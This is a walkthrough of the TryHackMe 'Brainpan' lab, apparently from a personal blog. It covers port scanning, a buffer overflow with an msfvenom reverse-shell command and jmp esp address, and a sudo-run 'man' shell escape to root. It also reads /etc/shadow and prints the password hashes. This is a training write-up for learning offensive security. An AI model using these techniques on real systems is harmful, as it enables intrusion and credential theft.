Tryhackme writeup: Brainpan

Brainpan is part of the “Offensive Pentesting Path” in TryHackMe, and it is a straight-forward buffer overflow activity with further extra steps to achieve full privilege escalation.

Note: This writeup doesn’t explain with full detail the whole exploitation process, and will skip a couple steps, but it serves as a “nudge” to the right direction when attempting this room.

Initial Recon

For system enumeration I used threader3000, finding ports 9999 and 10000 open. 1

------------------------------------------------------------
		Threader 3000 - Multi-threaded Port Scanner          
						Version 1.0.6                    
					A project by The Mayor               
------------------------------------------------------------
Enter your target IP address or URL here: 10.10.46.162
------------------------------------------------------------
Scanning target 10.10.46.162
Time started: 2021-04-14 11:22:05.886060
------------------------------------------------------------
Port 9999 is open
Port 10000 is open
Port scan completed in 0:01:13.861727
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p9999,10000 -sV -sC -T4 -Pn -oA 10.10.46.162 10.10.46.162
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p9999,10000 -sV -sC -Pn -T4 -oA 10.10.46.162 10.10.46.162
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-14 11:23 EDT
Nmap scan report for 10.10.46.162
Host is up (0.19s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings:
|   NULL:
|     _| _|
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=4/14%Time=6077091E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.31 seconds
------------------------------------------------------------
Combined scan completed in 0:03:01.978867
Press enter to quit...

Port 9999 is apparently running a remote vulnserver-like application. We can connect to it with

kali@kali:~/threader3000$ nc 10.10.46.162 9999)

_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_|_| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
[________________________ WELCOME TO BRAINPAN _________________________]
	ENTER THE PASSWORD _

Port 10000 is running a python http server. Navigating to it, we see a display page at the main folder, but there was nothing worthy of our attention at http://10.10.46.162:10000. So, after running a directory fuzzing with gobuster, we found the folder “/bin”.

kali@kali:~/threader3000$ gobuster dir -u http://10.10.46.162:10000/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.46.162:10000/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/04/14 11:29:25 Starting gobuster
===============================================================
/bin (Status: 301)

Navigating, then, to http://10.10.46.162:10000/bin, we have access to a folder containing “brainpan.exe” binary, which we’ll download for local examination in a Windows box (Or in our Kali box if we had wine + Immunity Debugger set up)

Buffer Overflow

I highly recommend checking Tib3rius’ Buffer Overflow prep @ https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst if you’ve never done this before.

After some basic fuzzing we found the offset: 524 bytes, succesfully overwriting the EIP. Now let’s find our bad characters.

For this, sometimes I like to do it manually (Although it’s time consuming and error-prone) by looking at the stack once the full range of characters were sent, just by:

  • Right clicking on the ESP pointer at the Immunity debugger interface (“CPU thread” window)-> “Follow in dump”

  • At the addresses section, looking at all the characters sent. If we see a “jump”, for example, 01 02 03 00 AB 06 07 (etc.)

  • We know that at least \x04 is a bad character. We should repeat the process again because this is no guarantee that “\x05” is also a Badchar (I’ve found the testing programs sometimes mess with more than one byte when encountering a badchar).

    I had to check 3 times for the ESP overwriting because I was doubtful that there were no bad chars in this exercise. Around ~ 5 minutes of glancing through the addresses from the start of the ESP all the way to the last 255th byte (That’s why we should, under high-pressure situations, use tools like “mona”).

Now we know we can safely generate our shellcode and overwrite our stack with it. But first we need to find our jmp esp instruction

We can also use “mona” to find it automatically, but in this case I did it manually with objdump:

kali@kali:~/CTF/brainpan$ objdump -d -M intel brainpan.exe | grep "jmp    esp"
311712f3:	ff e4                	jmp    esp

Considering the “Endianness” of our remote system, we arrange our address in reverse byte-order:

311712f3 -> f3,12,17,31 -> \xf3\x12\x17\x31 That’s exactly where we are telling the instruction pointer (EIP) to go. And if we successfully overwrite the stack, then it should begin executing our shellcode.

Generating a shellcode for a reverse shell with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=LISTENING_PORT EXITFUNC=thread -b "\x00" -f c

We then get a full shellcode, with the format “\xde\xad\xbe\xef”. That’s our payload, which we should use to “overflow” the stack, after our jmp esp instruction (\xf3\x12\x17\x31).

The process for local and remote exploitation are the same, so I’ll jump right into the remote exploitation phase:

Having our remote server ready running brainpan.exe, we can then send our payload (Don’t forget to generate a different shellcode for local/remote exploitation), while listening with Netcat at our desired port.

$ nc -lp 6666

After running our exploit, we “catched” a reverse shell remotely. Boom!

Access to the machine

wine shell

🤨 What??

It looks strange, but remember the server is a Linux system, and the brainpan.exe is, well, a Windows executable. So we’re in a shell under the “wine” framework.

¯\_(ツ)_/¯

Privilege escalation

We spawn a shell to avoid using the “wine” shell, which we are under (Inception):

/bin/sh -i

Some initial information gathering, rendered something interesting right away:

whoami
puck

id
uid=1002(puck) gid=1002(puck) groups=1002(puck)

sudo -l
Matching Defaults entries for puck on this host:
	env_reset, mail_badpass,
	secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
	(root) NOPASSWD: /home/anansi/bin/anansi_util

Remember, we are logged as “puck”, so we don’t have access to /home/anansi. However, can see a program there that we can use via sudo.

About this program “anansi_util”:

$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
	- network
	- proclist
	- manual [command]

We’re under “wine”, and spawning a shell this was very annoying unstable, so we call again a reverse shell with python, and “catching it” with the attack machine (Yes, a Yo-yo shell). (Also, all privilege escalation attempts were impossible without a tty shell).

After some testing, we see something interesting about “manual” (Which runs the “man” command, or “manual” pages).

It turns out, we can spawn a shell inside “man”:

puck@brainpan:~$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
	env_reset, mail_badpass,
	secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
	(root) NOPASSWD: /home/anansi/bin/anansi_util

puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!bash
!bash
root@brainpan:/usr/share/man#

root@brainpan:/root# whoami
whoami
Root

It worked, because when calling “man man”, we’re prompted for “RETURN” or “quit”, and we can simply call “!/bin/bash” instead to spawn a shell, and since “man” is ran with superuser privileges, they don’t get dropped and we’ve successfully leveraged “man” to escalate privileges. It’s a weird privilege escalation technique, and remember, we’re still using “man” so it is kept running until we exit from the root shell.

Alternative way to attempt privesc

Also, we can read any privileged file in this case with “man”, like this:

$ sudo /home/anansi/bin/anansi_util manual /etc/shadow
/usr/bin/man: manual-/etc/shadow: No such file or directory
/usr/bin/man: manual_/etc/shadow: No such file or directory
No manual entry for manual
<standard input>:1: warning [p 1, 0.0i]: cannot adjust line
<standard input>:1: warning [p 1, 0.2i]: cannot adjust line
<standard input>:22: warning [p 1, 2.2i]: cannot adjust line
<standard input>:23: warning [p 1, 2.3i]: cannot adjust line
<standard input>:23: warning [p 1, 2.5i]: cannot adjust line
<standard input>:23: warning [p 1, 2.7i]: cannot adjust line
<standard input>:24: warning [p 1, 3.0i]: cannot adjust line
<standard input>:24: warning [p 1, 3.2i]: can't break line
root:$6$m20VT7lw$172.XYFP3mb9Fbp/IgxPQJJKDgdO‐
hg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRd0QcN4TCzaUtmx4C5DvZa‐
Dioh0:15768:0:99999:7:::              daemon:*:15768:0:99999:7:::
bin:*:15768:0:99999:7:::                 sys:*:15768:0:99999:7:::
sync:*:15768:0:99999:7:::              games:*:15768:0:99999:7:::
man:*:15768:0:99999:7:::                  lp:*:15768:0:99999:7:::
mail:*:15768:0:99999:7:::               news:*:15768:0:99999:7:::
uucp:*:15768:0:99999:7:::   proxy:*:15768:0:99999:7:::    www‐da‐
ta:*:15768:0:99999:7:::               backup:*:15768:0:99999:7:::
list:*:15768:0:99999:7:::                irc:*:15768:0:99999:7:::
gnats:*:15768:0:99999:7:::    nobody:*:15768:0:99999:7:::   libu‐
uid:!:15768:0:99999:7:::   syslog:*:15768:0:99999:7:::   message‐
bus:*:15768:0:99999:7:::         reynard:$6$h54J.qxd$yL5md3J4dON‐
wNl.36iA.mkcabQqRMmeZ0VFKxIVpX‐
eNpfK.mvmYpYsx8W0Xq02zH8bqo2K.mkQzz55U2H5kUh1:15768:0:99999:7:::
anansi:$6$hblZftkV$vmZoctRs1nmcdQCk5gjlmcLUb18xv‐
Ja3efaU6cpw9hoOXC/kHupYqQ2qz5O.ekVE.SwMfvRnf.QcB1ly‐
DGIPE1:15768:0:99999:7:::    puck:$6$A/mZxJX0$Zmgb3T6SAq.FxO1gEm‐
bIcBF9Oi7q2eAi0TMMqO‐
hg0pjdgDjBr0p2NBpIRqs4OIEZB4op6ueK888lhO7gc.27g1:15768:0:99999:7:::

A little bit messy, but with a proper tty shell we should be able to retrieve those hashes and crack them!

That’s it for this room, we achieved full control of the system, and learned a couple cool techniques along the way.

There was no flag to secure in this room.


Written By

Argandov

Cybersecurity professional and IT enthusiast with a passion for technology, music, personal growth, and Eastern philosophy. Transitioned from mechanical engineering to IT in 2020, with a full-time interest in Technology, Cybersecurity and recent advances in AI. Seeks to integrate eastern philosophy, mindfulness and a growth mindset into daily life and work.